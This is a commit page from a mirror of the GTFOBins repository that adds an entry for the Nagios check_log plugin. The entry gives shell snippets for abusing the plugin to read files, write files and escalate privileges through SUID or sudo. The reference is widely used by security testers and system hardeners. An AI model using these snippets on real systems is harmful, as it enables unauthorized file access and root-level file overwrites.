mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
New command: check_log
This commit is contained in:
parent
722f9bc605
commit
ea9dd24d59
30
_gtfobins/check_log.md
Normal file
30
_gtfobins/check_log.md
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
This is the `check_log` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
OUTPUT=output_file
|
||||||
|
umask 022
|
||||||
|
check_log -F "$LFILE" -O "$OUTPUT"
|
||||||
|
cat "$OUTPUT"
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
INPUT=output_file
|
||||||
|
umask 022
|
||||||
|
check_log -F "$INPUT" -O "$LFILE"
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
INPUT=output_file
|
||||||
|
umask 022
|
||||||
|
./check_log -F "$INPUT" -O "$LFILE"
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
INPUT=output_file
|
||||||
|
umask 022
|
||||||
|
sudo check_log -F "$INPUT" -O "$LFILE"
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user